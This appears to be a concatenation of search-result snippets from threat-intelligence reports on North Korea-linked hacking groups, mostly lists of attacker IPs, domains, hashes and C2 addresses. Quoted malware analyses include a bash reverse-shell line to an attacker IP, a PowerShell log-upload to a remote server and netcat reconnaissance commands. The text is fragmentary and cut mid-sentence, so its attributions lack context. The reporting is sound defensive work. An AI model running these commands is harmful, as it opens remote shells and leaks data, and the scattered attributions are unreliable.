175.214.194.61 61.97.243.2 MD5 5f6682ad9da4590cba106e2f1a8cbe26 SHA-256…","…# Indicators of Compromise ## Primary IP ## Sequential Pattern ## Detection ## Hunt Queries When @skocherhan flagged 158.247.219.150 with a note about malicious sites on VirusTotal, we expected a shared hosting server with some bad tenants.…","…documented a pattern of Vultr Seoul VPS abuse by actors consistent with the Kimsuky cluster — from the 740-hostname phishing factory on 158.247.219.150 , to the CHM/NidLog C2 payload recovery , to the Telegram bot and IPFS harvester cell , to the Udalyonka htdocs dump on 158.247.250.37…","…z cafe24.pro sig.quest plutg.shop dorray.site osihi.store nzzstore.site handhygieneforhealth.org petssecondchance.larcity.dev 210.92.18.162 158.247.223.235 152.32.243.136 이 글 공유하기 Facebook LinkedIn Email…","…URL ⚫ http://64.176.225.7/user/member.php ⚫ http://158.247.230.158/articles/list.php ⚫ http://158.247.238.232/style/display.php ⚫ http://158.247.232.35/bbns/bbns.php ⚫…","…CodjkhioSSdieofmm 클래스 caption - XenoRAT 소스코드에서 확인한 Compression 클래스 확인된 뮤텍스 이름과 C&C 서버 주소는 아래와 같다. 뮤텍스 이름: Dansweit_Hk65 C&C 서버 주소: 158.247.230.196:443 2.2.…","…The IP 158.247.230.196 (Vultr VPS in Seoul) was found in both the emails and in log files.…","…⚫ https://goodrichcardirect.com/logo.png ⚫ http://141.164.61.90/file/config.php ⚫ http://158.247.232.35/bbns/bbns.php ⚫ http://27.102.138.60/user/admin.php ⚫ http://158.247.206.214/articles/list.php ⚫…","…Server During a routine hunt for malicious infrastructure in AttackCapture™ , our team identified an exposed directory at https://158.247.238.155/naver , hosted on The Constant Company ASN and located in Seoul.…","…URL ⚫ http://64.176.225.7/user/member.php ⚫ http://158.247.230.158/articles/list.php ⚫ http://158.247.238.232/style/display.php ⚫ http://158.247.232.35/bbns/bbns.php ⚫ http://27.102.137.13/member/list.php AhnLab Cyber Threat…","…이 과정에서 Formbook 유포 서버와 공통점을 가진 XenoRAT C&C 서버 158.247.240.40 를 확인하였다. 발견된 공통점은 아래 표와 같다. | 특징 | 158.247 .…","…⚫ 141.164.44.139 ⚫ 141.164.47.123 ⚫ 141.164.55.236 ⚫ 144.172.116.121 ⚫ 158.247.200.50 ⚫ 158.247.212.35 ⚫ 158.247.240.44 ⚫ 158.247.245.18 ⚫ 167.1.17.177 ⚫ 176.65.128.26 ⚫ 31.220.5.43 ⚫ 45.32.121.84 Operation Double Barrel 64 ⚫…","…페이지 URL에 악의적인 정보가 포함되어 있을 경우 사용자가 로그인 완료 후 원치 않는 페이지로 강제 이동 하는 방식 일것입니다. 그리고 invoicegroup.64bit.kr DNS 정보를 따라 가면 다음과 같은 IP를 확인을 할수가 있습니다. 158.247.242.169 우리 APT 43 인 김수키(kimsuky)인것을 쉽게 확인을 할수가 있습니다. 이렇게 국세청,네이버,저작권 침해,세무조사 등을 사칭을 해서 개인정보를 탈취를 하고 있으니 항상 조심 해야 할것이면 만약 로그인 을 했을경우 비밀번호를 바꾸는 방법을…","…to the previously observed mail.ru.php we saw above. Press enter or click to view image in full size Next one to inspect is 158.247.242.206.…","…⚫ 141.164.47.123 ⚫ 141.164.55.236 ⚫ 144.172.116.121 ⚫ 158.247.200.50 ⚫ 158.247.212.35 ⚫ 158.247.240.44 ⚫ 158.247.245.18 ⚫ 167.1.17.177 ⚫ 176.65.128.26 ⚫ 31.220.5.43 ⚫ 45.32.121.84 Operation Double Barrel 64 ⚫ 45.32.25.205 ⚫…","…158.247.247.157 해당 IP 주소를 입력해서 접속하면 다음과 같은 것을 볼 수가 있으며 blog:2025-01-13 favicon.ico:2020-12-19 03:18,1.1K help.php:2024-03-06 23:19,80K 김수키 네이버 피싱 사이트…","…Press enter or click to view image in full size hash:04d14da053c42397c48a54fe61850ddc3a38156514f03759df59473383453042 39 hits with 158.247.247.157 displayed. Press enter or click to view image in full size A different screenshot is shown this time in Korean. Press enter or…","…Galaxy에서 보냄 첨부파일명 북한동향.docx 북한사이버테러강의자료.pptx 공격 전략 lnk 바로가기 악성파일 전달 정상 pptx 문서 전달 명령제어(C2) navarar.com N/A 158.247.249.129 [KR] N/A [표 1] 이메일 내용 비교 ○ 발신지 아이피 뿐만 아니라, 이메일 본문 표현도 동일한 부분이 사용됐습니다.…","…infrastructure 165.154.52.210 IP Email sender, Korean infrastructure 141.164.49.250 IP Attacker IP 158.247.249.243 IP Attacker IP Email IoCs Sender Name Sender Email Recipient Date Phishing Lure Password…","…개요 2025년 5월경 국내 ip 158.247.250.251와 관련있는 다수의 RAR, EXE 파일이 발견되었다.…","…on 158.247.219.150 , to the CHM/NidLog C2 payload recovery , to the Telegram bot and IPFS harvester cell , to the Udalyonka htdocs dump on 158.247.250.37 . Today we document a third Vultr Seoul VPS — 158.247.210.58 — with over 60 domains observed in passive DNS across 18 months, systematic…","…이는 공격자가 업로드한 테스트 로그 파일로 보이며, 공격자가 사설 ip와 공인 ip를 바꿔가며 파일 업로드를 테스트한 것을 확인하였다. 10.7.185.68 10.33.77.174 80.71.157.55 158.247.253.215 192.168.35.35 3.1.3.…","…IP 103.5.144.26 159.100.13.216 206.206.127.152 216.107.137.73 64.49.14.181 Tags: AsyncRAT InfoStealer Keylogger…","…IP 159.100.13.216 213.145.86.223 216.219.87.41 64.20.59.148 Gain access to related IOCs and detailed analysis by subscribing to AhnLab TIP…","…기준으로 파일명이 불명확한 것은 제외했고, 일부는 클라우드 서비스를 통해 다운로드된 파일명 입니다. ○ 타임라인 기준으로 04월 17일 시큐로닉스(SECURONIX)의 'CLOUD#REVERSER' 분석 내용에 따르면, C2 서버가 독일 소재의 159.100.13.216 입니다.…","…엔드포인트 및 파라미터 구조가 Konni의 명령 체계와 유사합니다. caption - 본 보고서에서 분석한 AsyncRAT caption - GSC 보고서에 언급된 AsyncRAT 과거 Konni가 사용한 AsyncRAT C&C 서버( 159.100.13.216 ) 는 securonix의 “ Analysis and Detection of CLOUD#REVERSER ” 보고서에서 처음 언급되었으며 해당 보고서에서 설명된 마지막 파워쉘 스크립트 동작 방식은 본 보고서에서 분석한 파워쉘 스크립트 동작 방식과…","…通信先 159.100.13.216 144.76.109.61 参考文献 [1] JPCERT/CC Eyes, \"日本の組織を狙った攻撃グループKimsukyによる攻撃活動\", https://blogs.jpcert.or.jp/ja/2024/07/kimsuky.html [2]…","…618a67048d0a9217317c1d1790ad5f6b044eaa58a433bd46ec2fb9f9ff563dc6 SHA-256: 738ba44188a93de6b5ca7e0bf0a77f66f677a0dda2b2e9ef4b91b1c8257da790 159.100.250.231 BUFFETLINE SHA-256: 52f83cdaefd194fff3d387631d5693a709cd7b3a20a072e7827c4d4218d57695 107.6.12.135 210.202.40.35 MITRE ATT&CK…","…(83833f8dbdd6ecf3a1212f5d1fc3d9...) IPs (1) 159.100.250.231 Findings 1ea6b3e99bbb67719c56ad07f5a12501855068a4a866f92db8dcdefaffa48a39 Tags backdooremotettrojan Details Name…","…abuse@ripe.net OrgAbuseRef: https://rdap.arin.net/registry/entity/ABUSE3850-ARIN # whois.ripe.net inetnum: 159.100.245.0 - 159.100.255.255 netname: Akenes descr: Exoscale Open Cloud DK2 descr: Exoscale cloud hosting https://www.exoscale.ch descr:…","…This sample shares the same C2 server (159.100.29.122) with MoonPeak v1, albeit on a different port (8811).…","…그리고 명령제어(C2) 주소는 RemoteEndPoint 값으로 설정돼 있습니다. ○ 본 위협 사례에서 사용된 C2 서버는 독일소재의 159.100.29.38 아이피 주소가 사용됐으며, 포트명은 9999 입니다. [그림 10] XenoRAT C2 주소 디버깅 모습 4.…","…URL http://104.168.145.83:993/ http://107.148.71.88:993/ http://159.100.6.137:993/ http://38.110.1.69:993/ http://45.114.129.138:33890/ AhnLab TIP 를 구독하시면 연관 IOC 및 상세 분석 정보를 추가적으로 확인하실 수 있습니다.…","…URL http://104.168.145.83:993/ http://107.148.71.88:993/ http://159.100.6.137:993/ http://38.110.1.69:993/ http://45.114.129.138:33890/ Gain access to related IOCs and detailed analysis by subscribing…","…Administered by ARIN status: LEGACY whois: whois.arin.net changed: 1993-05 source: IANA # whois.arin.net NetRange: 159.100.0.0 - 159.101.255.255 CIDR: 159.100.0.0/15 NetName: RIPE-ERX-159-100-0-0 NetHandle: NET-159-100-0-0-1 Parent: NET159 (NET-159-0-0-0-0) NetType: Early…","…poisoning BLOCK / MONITOR 4 165.22.232.198 PHP web shell tooling / upload progress session poisoning BLOCK / MONITOR 5 159.223.59.200 PHP web shell tooling / upload progress session poisoning BLOCK / MONITOR 6 192.177.131.13 PHP web shell tooling / upload…","…8080 8443 8888 185.239.0.43 IR Web Dadeh Paydar Co (Ltd) appleplus.shop appleplus.shop ulta.appleplus.store 22 2086 2087 8880 159.253.4.64 NL LeaseWeb Netherlands B.V.…","…192.121.17.63 NL EDIS GmbH N/A ulta.appleplus.store N/A 185.239.0.39 IR Web Dadeh Paydar Co (Ltd) N/A ulta.appleplus.store x2 N/A 159.253.4.70 NL LeaseWeb Netherlands B.V.…","…for more information on IANA, visit http://www.iana.org % This query returned 1 object refer: whois.arin.net inetnum: 159.0.0.0 - 159.255.255.255 organisation: Administered by ARIN status: LEGACY whois: whois.arin.net changed: 1993-05 source: IANA # whois.arin.net NetRange:…","…2018-03-09 bannerssale.com aquaadvertisement.com technologies.roadadvertisements.com IP addresses: 159.65.131.94 207.148.104.5 Hermes 2.1 ransomware: A5A0964B1308FDB0AEB8BD5B2A0F306C99997C7C076D66EB3EBCDD68405B1DA2 pretty040782@gmail.com…","…AS14956 RouterHosting LLC / Cloudzy) IP PTR Record 144.172.110.53 53.110.172.144.static.cloudzy.com 144.172.115.16 16.115.172.144.static.cloudzy.com 144.172.117.143 143.117.172.144.static.cloudzy.com 172.86.89.213 213.89.86.172.static.cloudzy.com…","…(104.224.219.109 / US) - 168va.com/include/data/left.php ( 104.222 .238.198 / US) - 1996hengyou.com/include/dialog/left.php (160.124.191.80 / ZA) 두개의 오퍼레이션에서 사용한 정보유출 호스트 구조를 비교하면 'include/left.php' 경로를 일부 공통적으로 사용한 것을 알 수 있고, 도메인의 IP주소 대역도 유사한 점을 찾을 수 있습니다.…","…Information as of June 2020: IP Address: 160.153.235.20 Registrar: GoDaddy.com, LLC Created: June 1, 2019 Expires: June 1, 2022 www.vinoymas.ch Likely legitimate but compromised .…","…A compromised legitimate site hosting the C&C server: https://kapata-arkeologi.kemdikbud.go.id/pages/payment/payment.php 160.153.33.195 barsaji.com.mx GoDaddy.com, LLC 2020‑03‑27 A compromised legitimate site hosting the C&C server:…","…- Batch script used to install AnyDesk The batch script downloads the additional files it needs for the AnyDesk installation from 160.187.147.119 , the same C&C server used by 5月9日資料.pdf.lnk covered earlier in the additional malware section.…","…differences between the first and most recent of OSX.Casso samples: diff -y <(floss -s osxari) <(floss -s cassoosx) > bash -i > /dev/tcp/160.20.147.253/8443 0<&1 2>&1 _webident_f | _media_1 _webident_s | _media_2 https://fudcitydelivers.com/net.php |…","…(KR) Annie Cho bitcoin025@hanmail.net rnaii.com 27.255.79.205 (KR) Dongil Song bitcoin024@hanmail.net grnaeil.com 160.202.162.78 (KR) Dongil Song bitcoin024@hanmail.net hanrnaii.net 27.102.115.16 (KR) Dongil Song bitcoin024@hanmail.net webrnail.net…","…the suspicious traffic was identified by the victim in May 2022, the centos-packages.com domain use was paused until it began resolving to 160.202.79.226 in February 2023.…","…5.180.208.60 (US) - Clouvider 89.147.101.197 (KR) - Nord VPN 89.187.161.220 (JP) - Astrill VPN 160.238.37.95 (KR) - Nord VPN 160.238.37.100 (KR) - Nord VPN 상기 정보는 위협 행위자가 스피어피싱 공격 수행 및 공격 인프라 구축, 운영 과정에서 사용한 것으로 확인된 침해지표의 일부이며, 향후 동일 또는 유사한 공격 활동 탐지 및 대응에 활용될 수 있습니다.…","…5.180.208.57 (US) - Clouvider 5.180.208.60 (US) - Clouvider 89.147.101.197 (KR) - Nord VPN 89.187.161.220 (JP) - Astrill VPN 160.238.37.95 (KR) - Nord VPN 160.238.37.100 (KR) - Nord VPN 상기 정보는 위협 행위자가 스피어피싱 공격 수행 및 공격 인프라 구축, 운영 과정에서 사용한 것으로 확인된 침해지표의 일부이며, 향후 동일 또는…","…310ebb7ca19ff9b75d4054c340b0c82e ca9cb7bb06398670abc6d19186c336cd C&C 158.247.250.251 95.214.54.164 161.248.239.119 195.177.94.43 147.135.109.226 158.247.240.40 Mutex Xilnulmx Ncppn User-Agent Mozilla/5.0 (Windows NT 10.0;…","…navers.store 161.97.100.171 [FR] 2022-03-02 112.175.185.19 [KR] 건강검진결과서 medicert.com-silver.site 161.97.100.171 [FR]…","…= $logContent; commit_message = \"Process log upload - $timestamp\"; encoding = \"text\"; } | ConvertTo-Json; $backupServerUrl = \"http://161.97.113.34:3001\"; $backupBody = @{ title = \"System Log - $timestamp\"; content = $logContent; } | ConvertTo-Json; try { $backupResponse =…","…When the victim executes the initial payload ( gz ), the following sequence occurs: An \"ended\" beacon is sent to http://161.97.113.34:3001/api/textcontent A TimeZoneRegister scheduled task is created (one-shot, 5-minute delay) The task fetches gz1 (Stage-2) from the…","…d.php?na=battmp 5.9.123.217 [DE] 안랩 (Ahnlab) joongang.site/pprb/sec/ d.php?na=battmp 162.0.209.27 [US] 센티넬원 (Sentinelone) rfa.ink/bio/ d.php?na=battmp 162.0.209.27 [US] 52.177.14.24 [US] [표 5] 보안 업체별 'battmp'…","…This domain resolves to the IP address 162.0.209.27 , which has hosted domains that have been attributed to Kimsuky in previous research , such as sesorin.lol and rfa.ink .…","…battmp 5.9.123.217 [DE] 안랩 (Ahnlab) joongang.site/pprb/sec/d.php?na= battmp 162.0.209.27 [US] 센티넬원 (Sentinelone) rfa.ink/bio/d.php?na= battmp 162.0.209.27 [US] 52.177.14.24 [US] [표 5] 보안 업체별 'battmp' 사용 사례 비교 ○…","…C2 (Related) 52.177.14.24 [US] 69.163.180.70 [US] 162.0.209.27 [US] 162.0.209.91 [US] 199.59.243.225…","…NAMECHEAP INC 4 livehuddle01.us 2026-04-03 03:48:08 162.0.215.196 22612 NAMECHEAP-NET - Namecheap, Inc.…","…23.95.182.5 78.141.223.50 116.202.251.38 89.44.9.202 192.185.5.189 162.241.248.14 179.43.151.196 45.82.250.186 162.19.3.23 144.217.92.197 23.29.115.171 167.114.188.40 91.234.199.179 By mapping out this infrastructure, it is possible to show…","…IOCs tech.micrsofts.com tech.micrsofts.tech 27.102.113.93 185.29.8.53 155.94.208.209 162.19.71.175 201.77.179.66 http://27.102.113.93/inet.txt http[://]162.19.71.175:7443/sonic/bottom.gif http[://]201.77.179.66:8082/img/lndex.php htt…","…this query to detect associated network IOCs: let remoteip = dynamic([\"84.38.134.56\",\"45.155.37.101\",\"213.139.205.151\",\"109.248.150.147\",\"162.19.71.175\",\"147.78.149.201\"]); let remoteurl =…","…NAMECHEAP INC 92 uz04web.us 2026-02-26 10:31:53 162.213.255.41 22612 Namecheap, Inc.…","…피싱 공격 발신지는 162.216.224.39 IP 주소가 활용됐는데, Hide All IP VPN 서비스로 조사됐고, 명령 제어(C2) 서버는 ‘bigfilemail.net’ 주소가 사용됐다.…","…ate.alzip.r-e.kr mail.naverwork.r-e.kr gwa.wooritg.o-r.kr mail.naverwork.o-r.kr image.secuwizvpn.r-e.kr load.rwbcode.com rwbcode.com 162.220.11.202 http://load.samework.o-r.kr/index.php http://load.rwbcode.com/index.php See Also More Supply…","…e.com rwbcode.com 174.138.186.157:5511 174.138.186.157:7788 174.138.186.157:9558 213.145.86.223:9005 111.92.189.34:21 142.11.248.98 162.220.11.202 ydcxcm.pklzd.com quemr.mailhubsec.com link24.kr www.link24.kr vvopen.pklzd.com quemr.mailhubsec.com mailhubsec.com www.mailhubsec.c…","…아울러 유사 공격에 쓰인 발신지 중에 'balabushkapoolcues.com (162.241.216.224)' 주소도 존재하는데, 두곳 모두 블루호스트(bluehost.com)와 연결되는 공통점이 있습니다.…","…clicktocareers.com US AS26496 GoDaddy.com 23.152.0.232 forecareer.com US AS8100 QuadraNet Enterprises LLC 162.241.219.119 gbflatinamerica.com US AS46606 Unified Layer 92.249.45.182 inovecommerce.com.br US AS47583 Hostinger International…","…66.187.75.186 104.223.86.8 100.21.104.112 23.95.182.5 78.141.223.50 116.202.251.38 89.44.9.202 192.185.5.189 162.241.248.14 179.43.151.196 45.82.250.186 162.19.3.23 144.217.92.197 23.29.115.171 167.114.188.40 91.234.199.179 By mapping…","…공식 주소(nta.go.kr)와 유사하지만, 상위 도메인(TLD, SLD)을 자세히 살펴보면 'go.kr' 주소가 아닌 'co.kr' 도메인 주소로 전혀 다른 웹 사이트인 것을 알 수 있습니다. ○ 그리고 'believeinsanta.com (162.241.253.27)' 주소가 실제 발송지인 것을 알 수 있습니다.…","…handicap.eu5.org IP Resolution: 69.197.143.12 Domain: panda2019.eu5.org IP Resolution: 162.253.155.226 Domain: downplease.c1.biz IP Resolution: 185.176.43.94 Domain: lookplease.c1.biz IP Resolution: 185.176.43.94 Additional CARROTBALL…","…NameSilo, LLC 47 ww-live.com 2026-03-19 19:51:32 162.255.119.134 22612 Namecheap, Inc.…","…exfiltration via Google services. The domain rotated through 5 IPs in 9 days : Date IP Provider Country Domains Status Feb 26 162.255.119.150 Namecheap parking US 2 Redirect Feb 26 38.60.220.135 Kaopu Cloud HK KR 2 Dead Feb 26 118.194.249.109 UCloud HK KR 40 Proxy up,…","…NameSilo, LLC 69 microsdb.com[1] 2026-03-11 15:43:16 162.255.119.153 22612 Namecheap, Inc.…","…NAMECHEAP INC 152 os-live.online 2026-01-21 10:39:32 162.255.119.184 22612 Namecheap, Inc.…","…NAMECHEAP INC 149 ww-live.online 2026-01-29 10:42:27 162.255.119.19 22612 Namecheap, Inc.…","…NameSilo, LLC 91 ms-live.team 2026-02-26 12:20:39 162.255.119.192 22612 Namecheap, Inc.…","…2024-09-03 23:33:09 91.195.240.123 47846 SEDO-AS SEDO GmbH NameSilo, LLC 160 live-meet.online[2] 2024-02-03 05:10:26 162.255.119.204 22612 NAMECHEAP-NET NAMECHEAP INC 161 uso4web.us 2021-07-01 18:14:52 91.195.240.123 47846 SEDO-AS SEDO GmbH NameSilo,…","…NAMECHEAP INC 157 ms-teams.live 2025-09-12 07:05:11 162.255.119.223 22612 Namecheap, Inc.…","…NAMECHEAP INC 151 os-live.us 2026-01-23 13:22:21 162.255.119.35 22612 Namecheap, Inc.…","…NAMECHEAP INC 153 os-live.xyz 2026-01-21 08:19:54 162.255.119.45 22612 Namecheap, Inc.…","…2025-12-16 14:52:56 192.64.119.22 22612 NAMECHEAP-NET NAMECHEAP INC 156 ms-teams.xyz 2025-12-11 09:37:07 162.255.119.95 22612 Namecheap, Inc.…","…相关域名和IP： 155.138.219.140 162.33.179.165 googlesheet.info fclouddown.co shconstmarket.com documentshare.info wordonline.cloud apt分析 APT , lazarus…","…zip caption - MD5 IP 69.10.50.165 208.73.202.29 163.245.195.172 URLs…","…html caption - MD5 IP 163.245.221.218 163.245.215.46 27.102.113.106 157.250.202.123 URL…","…C2 address used by backdoor 118.70.116.154:8080 163.25.24.44 45.238.25.2 devstar.dnsrd.com fxbet.linkpc.net lservs.linkpc.net mmsreceive.linkpc.net mmsreceive.linkpc.net msservices.hxxps443.org…","…443 nc -v 210.71.195.10 25 nc -v 211.23.123.246 25 nc -v 59.125.159.81 25 ping mail.h805.mn nc -v 163.29.3.119 25 nc -v 163.29.149.131 25 The focus on port 25 (SMTP) suggests email server reconnaissance, potentially for spear-phishing campaigns. 5.3 Wireshark Usage Root…","…-v swi-nwv2.ad.plc.ned.org 443 nc -v 210.71.195.10 25 nc -v 211.23.123.246 25 nc -v 59.125.159.81 25 ping mail.h805.mn nc -v 163.29.3.119 25 nc -v 163.29.149.131 25 The focus on port 25 (SMTP) suggests email server reconnaissance, potentially for spear-phishing…","…54.64.30.175 vega.mh-tec.jp JP AS16509 Amazon.com 164.46.106.43 hospitality-partners.co.jp JP AS4694 IDC Frontier Inc.…","….com kyungdaek.com siloamclinic.com dddon.kr iso3488.co.kr regard.co.kr aymdtt.co.kr gbionet.com strehab.com well-story.co.kr vwellpain.com 165.154.230.24 122.155.191.33 218.150.78.197 183.111.141.93 이 글 공유하기…","…저장한다. 이후 server IP를 공격자 주소로 설정한 후 ‘Main’ method를 실행하여 공격자로부터 명령을 받아 키로깅, 브라우저 계정 정보 탈취, 화면 캡처 등의 악성 행위가 수행될 수 있다. C&C : 165.154.230.24:8020 생성된 각 파일의 기능은 다음과 같다. 파일명 기능 client.ps1 http://ky****ek.com/js/sub/aos/dull/down1/r_enc.bin 에서 추가 악성코드 다운로드 및…","…This allows malicious behaviors such as keylogging, stealing browser account information, and taking screenshots. C&C: 165.154.230.24:8020 The features of each created file are as follows. Filename Feature client.ps1 Downloads and executes an…","…sender, attacker IP, Vultr Cloud, South Korea 141.164.41.17 IP Email sender, attacker IP, Vultr Cloud, South Korea 165.154.52.140 IP Email sender, Korean infrastructure 165.154.52.210 IP Email sender, Korean infrastructure 141.164.49.250…","…152.32.138.146 123.58.200.186 152.32.138.225 123.58.201.8 118.193.68.95 152.32.243.215 152.32.243.169 118.193.69.100 101.36.114.24 165.154.52.21 152.32.243.224 152.32.138.167 152.32.138.172 101.36.114.83 152.32.138.116 152.32.139.104 118.194.248.103…","…IP Email sender, attacker IP, Vultr Cloud, South Korea 165.154.52.140 IP Email sender, Korean infrastructure 165.154.52.210 IP Email sender, Korean infrastructure 141.164.49.250 IP Attacker IP 158.247.249.243 IP Attacker IP…","…뮤텍스 이름과 C&C 서버 주소는 아래와 같다. 뮤텍스 이름: Dansweit_Hk65 C&C 서버 주소: 165.154.78.9:443 caption - dnspy로 확인한 star 리포지토리 악성코드 구조 3.3.…","…poisoning BLOCK / MONITOR 3 5.255.114.109 PHP web shell tooling / upload progress session poisoning BLOCK / MONITOR 4 165.22.232.198 PHP web shell tooling / upload progress session poisoning BLOCK / MONITOR 5 159.223.59.200 PHP web shell tooling / upload…","…NL AS21501 Host Europe GmbH 198.133.183.67 bootcamp-coders.cnm.edu US AS4869 Central New Mexico Community College 166.62.39.82 clicktocareers.com US AS26496 GoDaddy.com 23.152.0.232 forecareer.com US AS8100 QuadraNet Enterprises LLC…","…new BLINDINGCAN: c60587964a93b650f3442589b05e9010a262b927d9b60065afd8091ada7799fe C2s: http[://]166.88.11.10/upload/check.asp https[://]tronracing.com/upload/check.asp http[://]23.27.140.49/Onenote/index.asp Conclusion Kimsuky and Lazarus…","…⚫ 141.164.55.236 ⚫ 144.172.116.121 ⚫ 158.247.200.50 ⚫ 158.247.212.35 ⚫ 158.247.240.44 ⚫ 158.247.245.18 ⚫ 167.1.17.177 ⚫ 176.65.128.26 ⚫ 31.220.5.43 ⚫ 45.32.121.84 Operation Double Barrel 64 ⚫ 45.32.25.205 ⚫ 45.76.48.70 ⚫…","…89.44.9.202 192.185.5.189 162.241.248.14 179.43.151.196 45.82.250.186 162.19.3.23 144.217.92.197 23.29.115.171 167.114.188.40 91.234.199.179 By mapping out this infrastructure, it is possible to show the links between the diverse set of IP addresses…","…hp renaissancenft.io/wp-content/plugins/download-plugin/plugins.php stmwa.de/work/config/data.php csmss.org/admin/uploads/award/award28.php 167.172.113.157/ 108.179.214.134/ 174.138.30.233/ absolutemedia.net.au/ absolutemedia.net.au/testing/wp-content/intelmanagertools.exe absolutemedia.net.au/…","…이외에도 공격자들이 사용한 아이피 주소(167.86.94.107)와 'price365.co.kr' 도메인도 다른 침해사고에서 보고된 바 있습니다.…","…URL http://167.88.165.122/login.asp http://edcvbgtrf.medianewsonline.com/1t32.exe http://edcvbgtrf.medianewsonline.com/rdpwrap.bat http://edcvbgtrf.medianewsonlin…","…UCloud HK 118.194.248.134 443 AS135377 UCloud HK 118.193.69.19 443 AS135377 UCloud HK 152.32.139.149 80 AS135377 UCloud HK 167.88.166.204 443 — — 118.194.248.183 80 AS135377 UCloud HK 152.32.243.215 80 AS135377 UCloud HK 27.102.138.125 — AS45996 DAOU Technology…","…On July 5, 2024, the threat actors now used 95.164.86.148 to RDP into a second malicious server, 167.88.173.173 which was already serving as a MoonPeak C2 on Port 9966.…","…27202534cc03a398308475146f6710b790aa31361931d4fe1b495c31c3ed54f7 Network IOCs 167.88.173.173 95.164.86.148 80.71.157.55 84.247.179.77 45.87.153.79 45.95.11.52 104.194.152.251 yoiroyse.store pumaria.store 27.255.81.118…","…fa87911771a52e3c1ffb1c39da59540c C2 45.150.109.102 85.155.224.59 103.153.65.67 111.92.246.145 169.197.85.174 195.250.24.113 Domain argeninese.dothome.co.kr argentinese.medianewsonline.com bbcnews04.dothome.co.kr…","…4C 8B 35 3C 44+ mov r14, qword ptr [0x1000080A8] -> _objc_msgSend macOS 에서 PDF 출력 IP 트래픽 104.76.210.15:443 (TCP) 17.125.250.130:443 (TCP) 17.250.99.100:443 (TCP) 17.250.99.79:443 (TCP) 17.253.27.202:443 (TCP) 184.25.164.217:443 (TCP) 224.0.0.1 23.198.224.36:443…","…Objective-C 프로그램의 일부로 보이며, 성공 또는 실패에 따라 적절한 조처를 함 IP Traffic 104.168.214.151:80 (TCP) 104.76.210.89:443 (TCP) 142.250.9.94:80 (TCP) 17.248.186.177:443 (TCP) 17.248.195.72:443 (TCP) 17.248.200.66:443 (TCP) 17.253.20.253:123 (UDP) 17.253.7.207:443 (TCP) 17.32.194.2:443…","…성공 또는 실패에 따라 적절한 조처를 함 IP Traffic 104.168.214.151:80 (TCP) 104.76.210.89:443 (TCP) 142.250.9.94:80 (TCP) 17.248.186.177:443 (TCP) 17.248.195.72:443 (TCP) 17.248.200.66:443 (TCP) 17.253.20.253:123 (UDP) 17.253.7.207:443 (TCP) 17.32.194.2:443 (TCP) 17.36.203.0:443…","…함 IP Traffic 104.168.214.151:80 (TCP) 104.76.210.89:443 (TCP) 142.250.9.94:80 (TCP) 17.248.186.177:443 (TCP) 17.248.195.72:443 (TCP) 17.248.200.66:443 (TCP) 17.253.20.253:123 (UDP) 17.253.7.207:443 (TCP) 17.32.194.2:443 (TCP) 17.36.203.0:443 (TCP) 184.25.164.143:443…","…44+ mov r14, qword ptr [0x1000080A8] -> _objc_msgSend macOS 에서 PDF 출력 IP 트래픽 104.76.210.15:443 (TCP) 17.125.250.130:443 (TCP) 17.250.99.100:443 (TCP) 17.250.99.79:443 (TCP) 17.253.27.202:443 (TCP) 184.25.164.217:443 (TCP) 224.0.0.1 23.198.224.36:443 (TCP) 23.198.226.30:443…","…[0x1000080A8] -> _objc_msgSend macOS 에서 PDF 출력 IP 트래픽 104.76.210.15:443 (TCP) 17.125.250.130:443 (TCP) 17.250.99.100:443 (TCP) 17.250.99.79:443 (TCP) 17.253.27.202:443 (TCP) 184.25.164.217:443 (TCP) 224.0.0.1 23.198.224.36:443 (TCP) 23.198.226.30:443 (TCP) 23.198.249.163:443…","…(TCP) 104.76.210.89:443 (TCP) 142.250.9.94:80 (TCP) 17.248.186.177:443 (TCP) 17.248.195.72:443 (TCP) 17.248.200.66:443 (TCP) 17.253.20.253:123 (UDP) 17.253.7.207:443 (TCP) 17.32.194.2:443 (TCP) 17.36.203.0:443 (TCP) 184.25.164.143:443 (TCP) 192.229.211.108:80…","…macOS 에서 PDF 출력 IP 트래픽 104.76.210.15:443 (TCP) 17.125.250.130:443 (TCP) 17.250.99.100:443 (TCP) 17.250.99.79:443 (TCP) 17.253.27.202:443 (TCP) 184.25.164.217:443 (TCP) 224.0.0.1 23.198.224.36:443 (TCP) 23.198.226.30:443 (TCP) 23.198.249.163:443 (TCP) 23.44.229.223:443…","…(TCP) 142.250.9.94:80 (TCP) 17.248.186.177:443 (TCP) 17.248.195.72:443 (TCP) 17.248.200.66:443 (TCP) 17.253.20.253:123 (UDP) 17.253.7.207:443 (TCP) 17.32.194.2:443 (TCP) 17.36.203.0:443 (TCP) 184.25.164.143:443 (TCP) 192.229.211.108:80 (TCP) 23.33.241.186:443…","…(TCP) 17.248.186.177:443 (TCP) 17.248.195.72:443 (TCP) 17.248.200.66:443 (TCP) 17.253.20.253:123 (UDP) 17.253.7.207:443 (TCP) 17.32.194.2:443 (TCP) 17.36.203.0:443 (TCP) 184.25.164.143:443 (TCP) 192.229.211.108:80 (TCP) 23.33.241.186:443 (TCP) 23.47.64.173:443…","…High - IP 193.160.32.188 High - IP 65.110.40.18 High - IP 170.205.28.251 High - IP 193.160.32.243 High - IP 208.84.100.64 High - IP…","…, 'http://online.dokamacto.xyz' ] ALLOWED_HOSTS [ ' 170.205.29.83 ', ' 146.19.215.187 ', ' 185.147.159.187 ', ' 170.205.30.27 ', 'dashboard.asteara.org', 'dashboard.cklomino.ink', 'almanac.3dscenebox.online', 'dashboard.gaganata.ink',…","…Domain movementbuilders.xyz High Lure Domain panthertalents.xyz High Lure IP 170.205.31.182 High - IP 216.198.79.1 High - IP 198.54.127.82 High - IP…","…(198.96.95.58) - http://103.225.168.159/admin/verify.php - http://www.khuyay.org/odin_backup/public/loggoff.php (170.239.84.243) - http://47.91.56.21/verify.php - https://www.virustotal.com/gui/ip-address/198.96.95.58/relations -…","…poisoning BLOCK / MONITOR 8 173.249.16.178 PHP web shell tooling / upload progress session poisoning BLOCK / MONITOR 9 170.64.224.137 PHP web shell tooling / upload progress session poisoning BLOCK / MONITOR 10 170.64.226.40 PHP web shell tooling / upload…","…poisoning BLOCK / MONITOR 9 170.64.224.137 PHP web shell tooling / upload progress session poisoning BLOCK / MONITOR 10 170.64.226.40 PHP web shell tooling / upload progress session poisoning BLOCK / MONITOR 11 45.148.10.80 PHP web shell tooling / upload…","…HTTP 요청 https://partner24.kr/mokozy/hope/kk.php ->%USERPROFILE%\\set .sl IP 트래픽 172.104.82.74:443(TCP) 2023-07-29 18:58:54 UTC 기준 바이러스토탈에서 탐지하는 보안 